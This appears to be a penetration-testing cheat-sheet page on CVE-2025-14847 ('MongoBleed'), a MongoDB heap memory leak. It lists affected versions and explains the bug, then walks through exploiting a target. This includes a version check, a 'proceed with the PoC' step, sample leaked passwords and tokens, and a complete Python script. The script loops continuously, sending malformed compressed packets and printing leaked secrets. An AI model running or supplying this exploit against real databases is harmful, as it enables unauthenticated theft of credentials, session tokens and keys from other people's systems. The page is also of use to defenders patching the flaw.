MongoDB CVE-2025-14847 — MongoBleed
CVE-2025-14847 (MongoBleed) is an unauthenticated heap memory disclosure vulnerability. Sending zlib-compressed OP_MSG packets with a deliberately mismatched uncompressed length causes the server to allocate a large buffer, decompress a small payload into it, and return the full buffer — including uninitialized memory from the heap — in the response. The leaked memory may contain credentials, session tokens, encryption keys, or other sensitive data from previous server-side operations.
No authentication is required. The vulnerability is exploitable against any MongoDB instance where the zlib compressor is enabled, which is the default in modern versions.
Affected Versions
Branch | Affected | Fixed in |
|---|---|---|
8.2.x | 8.2.0 – 8.2.2 | 8.2.3 |
8.0.x | 8.0.0 – 8.0.16 | 8.0.17 |
7.0.x | 7.0.0 – 7.0.27 | 7.0.28 |
6.0.x | 6.0.0 – 6.0.26 | 6.0.27 |
5.0.x | 5.0.0 – 5.0.31 | 5.0.32 |
Check Target Version Before Running
Confirm the version is in the affected range before attempting exploitation:
6.0.5
| version = 6.0.5
Version 6.0.5 falls in the affected range 6.0.0 – 6.0.26. Proceed with the PoC.
Run the PoC
Clone and run the public PoC by Joe Desimone. It loops continuously over different buffer offsets and prints unique leaked strings until stopped:
[*] MongoBleed -> 10.10.10.50:27017 [*] Streaming unique leaks only (Ctrl+C to stop) [+] New leak (~offset 500): appuser [+] New leak (~offset 512): SuperSecret123! [+] New leak (~offset 1024): eyJhbGciOiJIUzI1NiJ9...
Let the PoC run for at least 30–60 seconds to cycle through multiple buffer offsets. Leaked strings often include usernames, plaintext passwords from recent authentication attempts, JWT tokens, and connection strings from application connections to the database.
How It Works
The exploit abuses the OP_COMPRESSED wrapper (opcode 2012) around a normal OP_MSG (opcode 2013). It builds a minimal inner OP_MSG — around 40 bytes containing a ping command — compresses it with zlib, then wraps it in an OP_COMPRESSED packet where the declared uncompressed_size field is set to a large value like 8192 bytes rather than the actual decompressed size. The server allocates a buffer matching the declared size, decompresses the tiny payload into it, and due to the bug returns the entire buffer including uninitialized heap contents. The loop increments uncompressed_size across a range of values to shift memory offsets and maximize coverage of heap regions.
Manual Exploit Script
Standalone version without cloning — edit HOST and PORT before running:
#!/usr/bin/env python3
import socket, struct, zlib, re, time
HOST = "10.10.10.50" # change me
PORT = 27017
MIN_DOC_LEN = 20
MAX_DOC_LEN = 32768
BUFFER_OFFSET = 500
SLEEP = 0.001
print(f"[*] MongoBleed -> {HOST}:{PORT}")
print("[*] Streaming unique leaks only (Ctrl+C to stop)\n")
last_leak = None
doc_len = MIN_DOC_LEN
while True:
if doc_len > MAX_DOC_LEN:
doc_len = MIN_DOC_LEN
content = b'\x10a\x00\x01\x00\x00\x00'
bson = struct.pack('<i', doc_len) + content
op_msg = struct.pack('<I', 0) + b'\x00' + bson
compressed = zlib.compress(op_msg)
payload = struct.pack('<i', 2013)
payload += struct.pack('<i', doc_len + BUFFER_OFFSET)
payload += b'\x02'
payload += compressed
header = struct.pack('<iiii', 16 + len(payload), 1, 0, 2012)
packet = header + payload
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
sock.connect((HOST, PORT))
sock.sendall(packet)
response = b''
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
if len(response) >= 4:
msg_len = struct.unpack('<i', response[:4])[0]
if len(response) >= msg_len:
break
sock.close()
except:
response = b''
if len(response) < 25:
doc_len += 1
time.sleep(SLEEP)
continue
try:
msg_len = struct.unpack('<i', response[:4])[0]
opcode = struct.unpack('<i', response[12:16])[0]
raw = zlib.decompress(response[25:msg_len]) if opcode == 2012 else response[16:msg_len]
except:
doc_len += 1
time.sleep(SLEEP)
continue
for match in re.finditer(rb"field name '([^']*)'", raw):
leak = match.group(1)
if not leak or leak in [b'a', b'$db', b'ping', b'?']:
continue
text = leak.decode('utf-8', errors='replace')
if text != last_leak:
print(f"[+] New leak (~offset {doc_len}): {text}")
last_leak = text
doc_len += 1
time.sleep(SLEEP)
References
-
MongoBleed PoC — Joe Desimonegithub.com/joe-desimone/mongobleed (opens in new tab)
Original PoC implementing the zlib OP_MSG heap leak
-
MongoDB Release Noteswww.mongodb.com/docs/manual/release-notes (opens in new tab)
Fixed version confirmation per branch
Was this helpful?
Your feedback helps improve this page.